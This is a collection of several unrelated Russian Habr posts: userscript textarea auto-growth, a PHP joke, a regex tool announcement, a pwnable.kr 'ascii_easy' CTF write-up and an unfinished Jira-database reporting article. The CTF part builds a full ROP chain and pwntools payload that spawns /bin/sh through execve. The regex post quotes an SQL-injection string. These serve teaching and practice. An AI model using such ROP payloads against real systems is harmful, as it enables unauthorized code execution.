юзерскрипта.) ``` var dQ = function(q){return document.querySelector(q);}; var win = typeof unsafeWindow !='undefined'? unsafeWindow: window; var tAGrow = function(tA){ //авторост-обработчик if(!tA) return; var tSHPrev =0, tAInh, tATout maxH = Math.floor(win.innerHeight *0.8), tAF = function(ev){ if(tSHPrev < maxH && tAInh) clearTimeout(tATout), tA.style.overflow ='hidden', tAInh =0; var tSH = tA.scrollHeight - (isChrome?6:!isFx?win.opera?2:6:0); //коссбраузерные подгонки if(win.opera){ //автоуменьшение для Оперы tA.blur(); tA.style.height = 0; tA.style.marginBottom = tSH +'px'; tSH = tA.scrollHeight -2; tA.style.height = tSH +'px'; tA.style.marginBottom = 0; tA.focus(); } if(tSHPrev <= tSH && tSHPrev < maxH){ tA.style.height = tSH +'px'; if(tSHPrev < maxH && tAInh) clearTimeout(tATout), tA.style.overflow ='hidden', tAInh =0; }else if(!tAInh) clearTimeout(tATout), tATout = setTimeout(function(){tA.style.overflow ='inherit'; tAInh =1}, 230); tSHPrev = tSH; }; tA.addEventListener('keypress',tAF,!1); //контроль за ростом блока данных tA.addEventListener('keyup',tAF,!1); tA.style.resize ='vertical'; //чтобы уменьшать вручную (Fx, Chrome, Safari) tA.style.maxHeight = maxH +'px'; }; tAGrow(dQ('.editor #comment_text')||dQ('.editor #answer_text')||dQ('.editor #text_textarea') ); tAGrow(dQ('.editor #text') ); ``` Известно, что если не дублировать в невидимом месте поле ввода для получения правильной высоты текста в Firefox/Chrome/Safari, можно заметить только увеличение высоты поля ввода, а не уменьшение. Уменьшать поле ввода нет частой необходимости, и это можно сделать тасканием за уголок. Поэтому решение — максимально ленивое, но, наверное, будет достаточно удобным. В любом случае, может быть доработано или отключено. С практической стороны, не хотелось вдаваться в сложности, чтобы соблюсти принцип максимальной простоты. И вот, в момент ~~медитации~~ разбора проблем с ручным ресайзом полей, снизошло просветление, и было познано дао автороста. Увидеть авторост в действии и пользоваться им на сайте можно, установив [версию юзерскрипта Habrajax](https://greasyfork.org/en/scripts/1970-habrajax) 0.87 или выше. Отключается возможность автороста при сохранении других функций скрипта — в настройках; по умолчанию — включено. Проверялось в Fx, Chrome, но остальные 2 браузера должны работать, а в Опере высота должна автоуменьшаться, без необходимости тянуть обратно за уголок (там и возможности такой нет). Могут быть небольшие малоприятные прыжки высоты поля в начале ввода символов из-за многочисленных разных сайтовых вёрсток, это будет решаться чуть позже стилями. Могут всплыть и другие побочные эффекты роста — всё будет тестироваться в реальной работе. ***UPD** 02:00: проверено в Опере — она пока не автоуменьшает высоту, но это будет решено в следующем апдейте.* Опера с какого-то времени (например, наблюдается в 11.62) повела себя, как все остальные, кроме IE, со scrollHeight — теперь по нему нельзя узнать высоту текста! **UPD** 06:00: — версия 0.872 — вставлено автоуменьшение textarea для Оперы как самая малая нагрузка на скрипты. Сделано методом, описанным в [habrahabr.ru/post/132872](http://habrahabr.ru/post/132872/). Он нагружает скрипты и DOM, из-за чего могут быть эффекты мерцания и другие, поэтому в других браузерах автоуменьшение не включено (лучше, если делать, то методом с 2 textarea, который реализован, кстати, в Цитатнике-корректоре HabrAjax — растущая textarea в ширну и высоту для ввода контекстных комментариев). Проверено в Safari 5.1.4 Win +NinjaKit — там большие критические баги — неввод пробелов, Enter, несохранение настроек и ряд других недостатков, поэтому пока не рекомендуется. Вообще, NinjaKit уже недостаточен для поддержки этого скрипта, и лучшее решение — отдельный аддон, делать который неоправданно из-за малого количества пользователей (потенциальных 2-3 человека).
https://habr.com/ru/post/148188/
null
ru
null
# Весь PHP в двух строчках Я с гордостью хочу представить вам способ описать весь опыт программирования на PHP двумя строчками. Двумя объявлениями функций из стандартной библиотеки PHP: ``` array_filter($input, $callback); array_map($callback, $input); ``` Угумс.
https://habr.com/ru/post/148010/
null
ru
null
# Regexponline – интерактивный анализатор и редактор регулярных выражений Есть одна бородатая шутка: «если у вас есть проблема, и вы собираетесь решать ее с использованием регулярных выражений, то у вас есть две проблемы». Действительно, регулярные выражения – очень мощный и гибкий инструмент, применяемый для решения весьма широкого круга задач. Но, как водится, для поддержания баланса, такой серьёзный инструмент имеет весьма недружелюбный вид. `(<([a-z]+[^>]*)>)(.*)()` Такая чупакабра новичка приводит в трепетный ужас, да и знающего человека заставляет невольно поморщить нос. А ваша девушка вообще решит, что вы свихнулись, когда увидит вас за написанием такой конструкции. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/0e1/4d2/803/0e14d2803e03af2fccd7ccb978e244e5.png) Когда-то и мне пришлось по долгу службы подружиться с регулярными выражениями. Прочитав Фридла и несколько статей на Хабре, я, конечно, начал понимать этот синтетический язык. Тем не менее, каждый раз, когда приходилось написать очередную регулярку, я быстро закапывался в нагромождении скобок, слешей, точек, плюсов, знаков вопроса, и других хорошо вам знакомых конструкциях. Разобраться в этой каше было очень сложно, особенно если возвращаешься к задаче месячной давности. Я мечтал об инструменте, который помог бы мне разобраться в собственном творении. Приблизительно подходящих по смыслу сервисов нагуглилось с десяток, но все они приносили мало пользы. Как раз тогда я и начал разрабатывать этот проект. Итак, [regexponline](http://regexponline.com/) – инструмент, способный наглядно изобразить структуру регулярного выражения, разобрав его по элементарным компонентам; продемонстрировать совпадающие и не совпадающие его части; помочь в написании и отладке выражения, которое почему-то не совпадает с нужной строчкой. Позвольте мне продемонстрировать работу сервиса сначала на простом синтетическом, но наглядном примере, а потом на примере «из жизни». Для первого примера возьмём этот ужас из рамочки сверху и убедимся, что это вполне осмысленное выражение, которое кому-то наверняка когда-нибудь пригодится. Открываем браузер (желательно хром свежей версии), вводим адрес <http://regexponline.com/>. Вуаля. Интерфейс системы состоит из трёх логических блоков – сверху вбиваем строчки, на которых будем тестировать регулярное выражение, посередине собственно саму регулярку (по умолчанию там появится уже знакомое нам выражение), снизу в виде таблицы будет показываться структура регулярного выражения и совпавший с ним текст. Попробуйте навести мышку на любую часть регулярки. В строчках тут же подсветится совпадающая часть. Все блоки раскрашены в разные цвета, одинаковый цвет означает один уровень вложенности (группировка происходит по скобкам, т.е. скобка внутри скобки – это один уровень вложенности). Серый цвет – нулевой уровень вложенности, т.е. всё регулярное выражение или вся строчка целиком, розовый – первый, зелёный – второй, и так далее. Все строчки и регулярка редактируются по двойному клику. В общем, лучше всего понять структуру регулярного выражения можно, поводив мышкой туда-сюда по всем блокам. Другой, более наглядный способ – нажать на кнопку «expand regex». Регулярное выражение разложится на составляющие, сгруппированные по уровню вложенности. Думаю, уже стало понятно, что это за регулярное выражение. Оно совпадает с частями строк, представляющими из себя открывающий и закрывающий html-тег и контент между ними. Очень часто бывает удобно присваивать группам имена. Тогда на выходе мы получаем массив совпадений, проиндексированных не только по порядку, но и этим именам. В regexponline это делать особенно удобно. Надо просто кликнуть на нужную группу и в появившемся поп-апе нажать «rename». Регулярное выражение, конечно, удлиняется, зато сразу становится понятен смысл каждой группы. Посмотрите на скриншот, разве тут ещё остаются вопросы, что к чему? ![image](http://penyaev.com/files/h/regex1.png) Ещё одна небольшая, но очень удобная фича – редактирование в реальном времени. В этом режиме все изменения регулярного выражения применяются прямо на лету, не нужно обновлять страницу, не нужно двойного клика, не нужно жать «ОК» — поправил регулярку, через секунду увидел обновлённый результат. Крайне удобно при отладке плохо работающего регэкспа. Если при рефакторинге чужого кода вы нашли регулярное выражение, которое делает непонятно что – открывайте этот сервис, копипастите его туда, и разобраться станет намного проще. Для второго примера предлагаю разобрать стандартную задачу валидации email. Уверен, многие сталкивались с задачей проверить пользовательский ввод и удостовериться, что юзер указал свой почтовый адрес, а не ‘);DROP TABLE students;--. Какие у вас были первые действия? Писать своё выражение? Или нагуглить готовое решение в интернете? Теперь можно сочетать эти два подхода. В regexponline есть каталог регулярных выражений. Любой может в него добавить свой паттерн, если считает, что он может пригодиться коллеге по оружию. Также, результат любой вашей работы можно сохранить на сервере и получить на него ссылку, чтобы вернуться к работе позже, или чтобы отправить другу (кнопочка «share»). Итак, в каталоге выражений найдите «Email», или используйте ссылку, которую я сделал специально для вас: <http://regexponline.com/s/uv>. В открывшемся регулярном выражении, устрашающим своими размерами и сложностью, становится легко разобраться, просто поводив по нему мышкой или нажав кнопку «expand regex». Друзья, это молодой проект, в котором ещё многое предстоит сделать, многое доработать. Как часто бывает, этот инструмент писался «для себя», но потом я подумал, что это может быть полезно и кому-то ещё. Надеюсь, кому-нибудь я помогу сэкономить час-другой времени, потраченного на утомительное ковыряние в спецсимволах вашего регэкспа. Спасибо за внимание, буду рад вашей критике, вопросам и предложениям. Статья написана в рамках конкурса статей студентов проекта [Технопарк Mail.Ru](http://tp.mail.ru)
https://habr.com/ru/post/175179/
null
ru
null
# Решение задания с pwnable.kr 26 — ascii_easy. Разбираемся с ROP-гаджетами с нуля раз и навсегда ![image](https://habrastorage.org/r/w1560/webt/al/py/ef/alpyefagnx81cc2xc1ncjqs8lus.png) В данной статье решим 26-е задание с сайта [pwnable.kr](https://pwnable.kr/index.php) и разберемся с тем, что же такое ROP, как это работает, почему это так опасно и составим ROP-цепочеку с дополнительными усложняющими файторами. **Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях: * PWN; * криптография (Crypto); * cетевые технологии (Network); * реверс (Reverse Engineering); * стеганография (Stegano); * поиск и эксплуатация WEB-уязвимостей. Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов. Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8). Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа. Решение задания ascii\_easy --------------------------- Продолжаем второй раздел. Скажу сразу, что сложнее первого, но в этот раз нам предоставляют исходный код программы. Не забываем про обсуждение здесь(https://t.me/RalfHackerPublicChat) и здесь (https://t.me/RalfHackerChannel). Начнем. Нажимаем на иконку с подписью ascii\_easy. Нам дают адрес и порт для подключения по ssh. ![image](https://habrastorage.org/r/w1560/webt/ge/53/jl/ge53jl_ddkjj9zad8gup5yqo0h8.png) Подключаемся по SSH и видим флаг, программу, исходный код и libc библиотеку. ![image](https://habrastorage.org/r/w1560/webt/or/ub/6l/orub6lhkczfsetqsuw2x9j2asey.png) Давайте посмотри исходный код. ``` #include #include #include #include #include #include #define BASE ((void\*)0x5555e000) int is\_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char\* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char\* argv[]){ if(argc!=2){ printf("usage: ascii\_easy [ascii input]\n"); return; } size\_t len\_file; struct stat st; int fd = open("/home/ascii\_easy/libc-2.15.so", O\_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len\_file = st.st\_size; if (mmap(BASE, len\_file, PROT\_READ|PROT\_WRITE|PROT\_EXEC, MAP\_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i ``` Разберем его по блокам. Программа принимает строку в качестве аргумента. ![image](https://habrastorage.org/r/w1560/webt/ak/t1/pl/akt1plapzckoytih2axlahov1xu.png) При этом строка должна состоять только из ascii символов. ![image](https://habrastorage.org/r/w1560/webt/-u/7_/-e/-u7_-ecejem29fcuzepraryilqc.png) Так же выделяется область памяти с известным адресом базы и правами на чтение, запись и исполнениею. В эту область помещается библиотека libc. ![image](https://habrastorage.org/r/w1560/webt/gs/yz/rn/gsyzrnqcx2agjccuzocxnf6sl8a.png) В добавок ко всему, в программе есть уязвимая функция. ![image](https://habrastorage.org/r/w1560/webt/m0/kn/fs/m0knfsj8iqwfp8vxdmpmrxymtle.png) При этом если проверить программу, то можно убедиться, что она имеет неисполняемый стек (параметр NX). Будем решать с помощью составления ROP. ![image](https://habrastorage.org/r/w1560/webt/_i/av/t_/_iavt_ge6nd7yxqorv_1mzjwu2w.png) Давайте скопируем библиотеку себе. ``` scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ ``` Теперь нужно собрать ROP-цепочку. Для этого воспользуемся инструментом [ROP-gadget](https://github.com/JonathanSalwan/ROPgadget). ``` ROPgadget --binary libc-2.15.so > gadgets.txt ``` В файле gadgets.txt у нас находятся все возможные ROP-цепочки (пример 10 первых представлен ниже). ![image](https://habrastorage.org/r/w1560/webt/ao/ep/ms/aoepmsdk0saqpol7ekuvr6ks9y4.png) Проблема в том, что нам нужно выбрать те, которые состоят только из ascii символов. Для этого напишем простой фильтр, который оставит лишь те адреса, каждый байт которых принадлежит промежутку от 0x20 до 0x7f включительно. ``` def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() ``` Запустим программу и получим список удовлетворяющих нас адресов ROP-гаджетов. ROP-гаджеты ----------- Многие просили подробнее описать про возвратно-ориетированное программирование. Хорошо, давайте приведем пример с иллюстрациями. Допустим мы имеем уязвимость переполнение буфера и неисполняемый стек. ROP-гаджет представляет из себя набор инструкций, который заканчивается инструкцией возврата ret. Как правило, гаджеты выбирают из окончаний функций. В качестве примера возьмем несколько функций. В каждой из них выбираем ROP-гаджет (выделено красным цветом). ![image](https://habrastorage.org/r/w1560/webt/bi/x9/vg/bix9vgbrwmt_lw3fljdo67ypxay.png) ![image](https://habrastorage.org/r/w1560/webt/ca/tt/xv/cattxv09arrtaaxvfgrv7fqluhw.png) ![image](https://habrastorage.org/r/w1560/webt/-y/h7/ev/-yh7evjzqvz_nyp857mj0f2iupe.png) Таким образом мы имеем несколько ROP-цепочек: ``` 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret ``` Теперь разберем, что же за зверь такой — ROP-цепочки. При переполнении буфера мы можем переписать адрес возврата. Допустим в данный момент в целевой функции должна выполниться инструкция ret, то есть на вершине стека расположен какой-то валидный адрес. К примеру, мы хотим выполнить следующий код: ``` add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret ``` Мы должны перезаписать валидный адрес возврата следующими адресами: ``` 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb ``` Чтобы понять, почему это сработает, давайте посмотрим на изображение ниже. ![image](https://habrastorage.org/r/w1560/webt/tm/9y/ym/tm9yymnijh0hzpkujdcc4rky5m0.png) Таким образом, вместо возврата на валидный адрес, мы перемещаемся на первый адрес нашей ROP-цепочки. После выполнения первой команды, инструкция ret переместит выполнение программы на следующий адрес в стеке, то есть на вторую команду. Вторая команда также заканчивается ret’ом, который также переместит на следующую команду, адрес которой указан в стеке. Таким образом мы добиваемся выполнение ранее составленного нами кода. Составление ROP-цепочки для ascii\_easy --------------------------------------- Первым делом — выясним сколько байт нам нужно для переполнения буфера. Запустим программу в gdb и подадим строку на вход. ![image](https://habrastorage.org/r/w1560/webt/ze/m8/g0/zem8g0mg7gg70r7fc-ajzfgmkoo.png) И программа вылетает по адресу “bbbb”, что означает, что паддинг составляет 32 символа. Для эксплуатации ROP удобнее всего использовать функцию execve. Удобство заключается в передаче параметров через регистры. Давайте найдем эту функцию в библиотеке libc. Это можно сделать с помощью GDB. ![image](https://habrastorage.org/r/w1560/webt/y-/sk/ed/y-sked5ft1hnd-jpurjehtehmeu.png) Но если прибавить к адресу функции адрес загрузки библиотеки в память, то мы увидим, что он не будет удовлетворять условию ascii. ![image](https://habrastorage.org/r/w1560/webt/xn/1k/7r/xn1k7ro765zqq7mpgdvdm1wjaho.png) Но есть другой вариант вызвать функцию. Это через системный вызов. В ОС Linux каждый системный вызов имеет свой номер. Этот номер должен быть расположен в регистре EAX, после чего следует вызов прерывания int 0x80. Полную таблицу сисколов (syscall) можно посмотреть [здесь](https://syscalls.kernelgrok.com/). ![image](https://habrastorage.org/r/w1560/webt/m9/8x/ox/m98xoxmmyfcmwdzr5mgm385que0.png) Таким образов функция execve имеет номер 11, то есть в регистре EAX должно быть расположено значение 0xb. Передача параметров происходит через регистры EBX — адрес на начало строки-парметра, ECX — адрес на указатель на строку-параметр и EDX — адрес на указатель на аргумен переменные окружения. ![image](https://habrastorage.org/r/w1560/webt/1q/zg/zu/1qzgzuc4ceptg18chizshdkvs-y.png) В функцию нам нужно передать строку ‘/bin/sh’. Для этого нам нужно будет ее записать в разрешенное для записи место и передать адрес строки в качестве параметра. Строку придется сохранять по 4 символа, т.е. ‘/bin’ и ‘//sh’, так как регистры передают по 4 байта. Для этого я нашел следующие гаджеты: ``` 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret ``` Данный гаджет: 1. Возьмет из стека адрес для записи строки, и поместит его в регистр edx, обнулит eax. 2. Возьмет из стека значение и поместит в edi. 3. Скопирует значение из edi по адресу в edx (запишет нашу строку по нужному адресу). 4. Возьмет из стека еще два значения. Таким образом, для его работы необходимо передать следующие значения: ``` 0x555f3555 ; адрес первого гаджета memory_addr ; адрес для записи строки (edx) 4_байта_строки ; 4 байта копируемой строки (edi) 0x55687b3c ; адрес второго гаджета 4_любых_байта ; чтобы забить регристр (esi) 4_любых_байта ; чтобы забить регристр (edi) ``` После чего можно выполнить эти же гаджеты, для копирования второй части строки. Найти адрес для записи не составит труда, так как библиотека загружается в область памяти, доступную для чтения, записи и исполнения. ![image](https://habrastorage.org/r/w1560/webt/yl/3w/pq/yl3wpq0fu8v3zpa52_5ax31tou4.png) Там можно взять любой адресов, удовлетворяющих условию ascii. Я взял адрес 0x55562023. Теперь необходимо закончить нашу строку нулевым символом. Для этой задачи я использую следующую цепочку гаджетов: ``` 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret ``` Данный гаджет: 1. Возьмет из стека адрес для записи null, и поместит его в регистр edx, обнулит eax. 2. Возьмет из стека значение. 3. Скопирует значение из обнуленного eax по адресу в edx. Таким образом, для его работы необходимо передать следующие значения: ``` 0x555f3555 ; адрес первого гаджета memory_addr+8 ; адрес для записи 0 - конец строки (edx) 4_любых_байта ; чтобы заполнить регистр edi 0x5560645c ; адрес второго гаджета ``` Таким образом мы скопировали нашу строку в память. Дальше нужно заполнить регистры, для передачи значений. Так как вызываемая в execve программа “/bin/sh” не будет иметь собственных аргументов и переменных окружения, мы передадим в них указатель на null. В ebx запишем адрес на строку и в eax запишем 11 — номер сискола execve. Для этого я нашел следующие гаджеты: ``` 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret ``` Данный гаджет: 1. Поместит из стека значение в edx, обнулит eax. 2. Переместит значение из стека в edi. 3. Переместит значение из стека в ecx, прибавит к обнуленному eax 10. 4. Переместит значение из стека в ebx. 5. Увеличит eax с 10 до 11. Таким образом, для его работы необходимо передать следующие значения: ``` 0x555f3555 ; адрес первого гаджета memory_addr+8 ; адрес null (edx) 4_любых_байта ; чтобы заполнить регистр edi 0x556d2a51 ; адрес второго гаджета memory_addr+8 ; адрес null (ecx) 0x5557734e ; адрес третьего гаджета memory_addr ; адрес строки-параметра(ebx) 0x556c6864 ; адрес четвертого гаджета ``` И завершаем наш ROP-chain вызовом исключения. ``` 0x55667176 : inc esi ; int 0x80 ``` Ниже приведу более сокращенную и общую запись рассказанного выше. ![image](https://habrastorage.org/r/w1560/webt/5g/ct/yo/5gctyor-rphkhergybnitmkuw9c.png) И код, формирующий пэйлоад. ``` from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) ``` ![image](https://habrastorage.org/r/w1560/webt/gm/tf/kn/gmtfknekpcxwqulhsch3j2usf_s.png) ![image](https://habrastorage.org/r/w1560/webt/u9/am/mf/u9ammf98izz1gjtvcntgepqrhlm.png) Скажу честно, для меня, почему-то, это было одно из самых сложных заданий с этой площадки… Дальше больше и сложнее… Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
https://habr.com/ru/post/479184/
null
ru
null
# Jira: когда дорогие плагины не нужны ![кадр из анимационного фильма ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f24/124/f20/f24124f202cd776347e5c42375272109.png "кадр из анимационного фильма ")кадр из анимационного фильма "Кунг-фу панда"При разработке крупного и длительного проекта зачастую используют Jira, так как с ее помощью легко формировать списки задач, отслеживать прогресс и решать разные проблемы, которые могут возникнуть. Многие скажут, что она сейчас не актуальна в связи с уходом Atlassian из России. На это мы можем возразить, что Jira является одной из самых [популярных](https://webtechsurvey.com/technology-type/project-management) систем. Специалисты привыкли работать с ней, и многие компании продолжают ей пользоваться. Более того, она может помочь реализовать полный цикл обеспечения качества и часто используется в саппорте, поддержке системы в проде. Бизнес-требования одного из наших зарубежных клиентов заставили нас сильно углубиться в устройство Jira. Теперь мы знаем, как можно обратиться к БД Jira без использования плагинов и зачем это может понадобиться. Готовы поделиться этой информацией и с вами. Также расскажем, как работать с данными Jira напрямую (без плагинов) и минимизировать расходы на обслуживание. И все это при соблюдении [GDPR](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%89%D0%B8%D0%B9_%D1%80%D0%B5%D0%B3%D0%BB%D0%B0%D0%BC%D0%B5%D0%BD%D1%82_%D0%BF%D0%BE_%D0%B7%D0%B0%D1%89%D0%B8%D1%82%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85) (*General Data Protection Regulation* - общий регламент по защите персональных данных). ### Почему нельзя обойтись плагинами? Jira имеет хорошие базовые возможности, но часто их недостаточно. Кроме того, к ней существует довольно много плагинов, которые облегчают работу, но часто требуют лицензий, а значит увеличивают бюджет проекта. Посетив официальный сайт Atlassian, можно представить суммы, которые необходимо платить за обслуживание плагинов. Например, сегодня плагин для создания отчетов стоит от [2500](https://marketplace.atlassian.com/apps/1222843/aio-tests-all-in-one-test-management-for-jira?hosting=cloud&tab=pricing) до [5000](https://marketplace.atlassian.com/apps/1212942/reports-and-timesheets-for-jira?tab=pricing&hosting=cloud) долларов в год, если им пользуются 300 человек. В текущей ситуации оплатить их может быть затруднительно. При этом далеко не все возможности используются, в результате появляется «зоопарк» плагинов.  ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6aa/0ff/431/6aa0ff431bf15133757a29426be5056a.png)Все это еще больше ухудшается тем фактом, что часто «аппетит приходит во время еды». Изначально менеджмент хочет одни отчеты из Jira. Потом нужны дополнительные, которые изначально не планировались. Если возможностей действующего плагина на эти отчеты не хватает, приходится искать новый и т.д. К тому же плагины к Jira не так распространены, как сама Jira. Это создает проблемы еще и с точки зрения набора людей. Работа с платными плагинами требует их поддержки и обеспечения онбординга специалистов. А еще могут возникнуть проблемы, если имеющегося функционала недостаточно. Например, когда доступны не все сортировки, наложен лимит конфигураций, нельзя написать свою функцию или добраться до кастомных свойств, есть ограничение определенными полями, они не расширяемы и т.д. Но с Jira можно работать и напрямую через несложные запросы, которые могут создавать как разработчики, архитекторы, так и QA. Этот подход требует всего лишь уровня SQL. На одном из иностранных проектов мы с этим столкнулись. У нашего клиента есть Jira, которая размещена на его серверах. Спустя некоторое время заказчик захотел более детальных отчетов и IT-отдел клиента выбрал плагин AIO Report для Jira, чтобы использовать его для построения более детальных отчетов. Вначале возможностей AIO Report им хватало. С построением отчетом клиент справлялся самостоятельно. Но шло время, увеличилось количество команд, проектов, запросов в саппорт и т.д. После этого клиент захотел еще более детальных отчетов. И решил использовать встроенные возможности Jira, а также добавить атрибуты пользователям (Properties), кто и в какой команде находится.  И тут всплыла проблема – AIO Reports не умел работать с этими атрибутами. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/648/108/1bb/6481081bba8b4e17c32df6561086bfb3.png)Тогда наш клиент попросил нас помочь ему построить систему детальных отчетов в проекте, особенно в части саппорта, поскольку стало сложно следить за выполнением SLA (service level agreement). Мы начали исследовать, что можно сделать. Один из вариантов решения – проанализировать требования к отчетам, найти плагин (еще один), который подходит под эти требования. Но в этом случае возник ряд проблем: 1. Нет гарантии, что потом клиент не захочет еще чего-либо, что не поддерживается плагином. И тогда надо будет искать новый. 2. Нужно обучение сотрудников использованию плагина. 3. Потребуется бюджет для оплаты лицензий. Пока отойдем чуть «в сторону» от проблемы, и поразмышляем на тему того, что такое хорошее решение. Логично, что оно должно удовлетворять следующим критериям: 1. Решение должно решать поставленную задачу. 2. Текущая команда может его реализовать, поддерживать и в будущем расширять. А навыки, которые необходимы для реализации данного решения, есть как минимум у 50% команды. Желательно, чтобы даже junior в команде обладал ими. 3. В идеале должно быть бесплатным, не требующим дополнительных лицензий. 4. Решение не должно нарушать GDPR – аналог закона о персональных данных в Европейском Союзе, поскольку клиент, кейс которого мы здесь рассказываем, из Великобритании. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/539/748/7ae/5397487aed033b7d722b99b438a4314c.png)Обратите внимание, что понятие «правильной» технологии тут почти отсутствует.  Если мы говорим о Jira, там можно реализовать систему custom fields, в которой можно вычислять нужные значения. Но особенность этих custom fields в том, что там необходимо знание языка Groovy. В команде нашего клиента не было людей, которые его знают. К тому же был риск, что при программировании на Groovy в отчет могли случайно попасть конфиденциальные данные, которых там быть не должно – это было одним из важнейших требований заказчика. В то же время более 50% команды хорошо знают SQL, поэтому мы начали размышлять, как можно использовать этот факт. Тогда мы решили посмотреть на Jira «глобально». По сути это интерфейс к базе данных, в которой используется SQL. Быстро найти описание структуры БД Jira не получилось, но мы попробовали исследовать её самостоятельно, полагаясь на здравый смысл. Но тут возникла небольшая проблема – некоторые поля в БД Jira содержали конфиденциальную информацию, а это связано с ограничениями GDPR, что блокировало идею. Но и тут мы нашли выход: попросили сделать репликацию БД Jira, исключив из нее столбцы, в которых были данные клиентов (почты, телефоны, attachment и т.д.). После того, как наш клиент это сделал, он проверил, что в реплицированной БД нет конфиденциальных данных, и дал нам доступ к ней. Так мы гарантировали соблюдение GDPR. *врезка: Вывод: когда есть конфиденциальные данные, это не блокер. Можно поискать нестандартный вариант решения.*  Затем мы открыли БД и увидели следующую картину: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/911/dd6/fa6/911dd6fa6545f3fde1129b10855d2a8c.png)Как вы понимаете, названия таблиц нас не очень порадовали, хотя при желании можно было что-то разобрать. Для исследования мы решили сделать простой трюк. В нерабочее время, когда пользователей в Jira нет, добавляли одну запись в интересующее нас место и потом сравнивали количество записей в каждой таблице – до и после изменения. Такой подход почти сразу дал нам нужную информацию, что и где находится. Как оказалось, нам необходимо работать всего лишь с 9 таблицами: jiraissue, project, issuestatus, app\_user, customfieldvalue, customfieldoption, label, changegroup, changeitem Рассмотрим, что содержат эти таблицы: * Project: информация о всех проектах Jira, включая полное и краткое название, описание и ответственного за проект. * Issuestatus: имена всех статусов, их числовые коды, которые используются в других местах. * App\_user: числовой код и имя пользователя Jira. * Сustomfieldvalue: значения кастомных атрибутов. Включает в себя идентификатор задачи в Jira, идентификатор кастомного поля, значения кастомного поля для соответствующей задачи в Jira и другие поля. Отдельно хотелось бы отметить поле Updated, которое логически является датой обновления, но при этом хранится в виде числа, поэтому SQL запросы по такому полю делать проблематично. * Сustomfieldoption: все возможные значения для перечисленных полей Jira. * Label: все метки для всех задач в Jira. Самые важные для нас таблицы следующие: * Jiraissue – содержит идентификатор задачи Jira, номер её проекта и задачи, который мы видим когда открываем задачу, её текущий статус, исполнителя, заголовок, текст и ряд других стандартных полей. * Changegroup – содержит информацию о том, кто и когда сделал изменения. А сами изменения можно найти в таблице changeItem. * ChangeItem – содержит информацию о том, что было изменено (тип изменения), старое и новое значение. При этом все хранится в виде строк, а в сложных запросах из-за этого могут возникать проблемы производительности. ### Примеры задач, которые можно решить БЕЗ плагинов Jira Теперь давайте рассмотрим несколько практических задач, которые мы решали для наших целей. Приведенный ниже код – часть большого блока, поэтому использование некоторых полей локальной таблицы @historyTable отсутствует в приведенном фрагменте. ``` declare @totalWorkflow nvarchar(4000) set @totalWorkflow = 'Open' declare @historyTable table ( id int identity(1,1), author nvarchar(400), created datetime, field nvarchar(400), 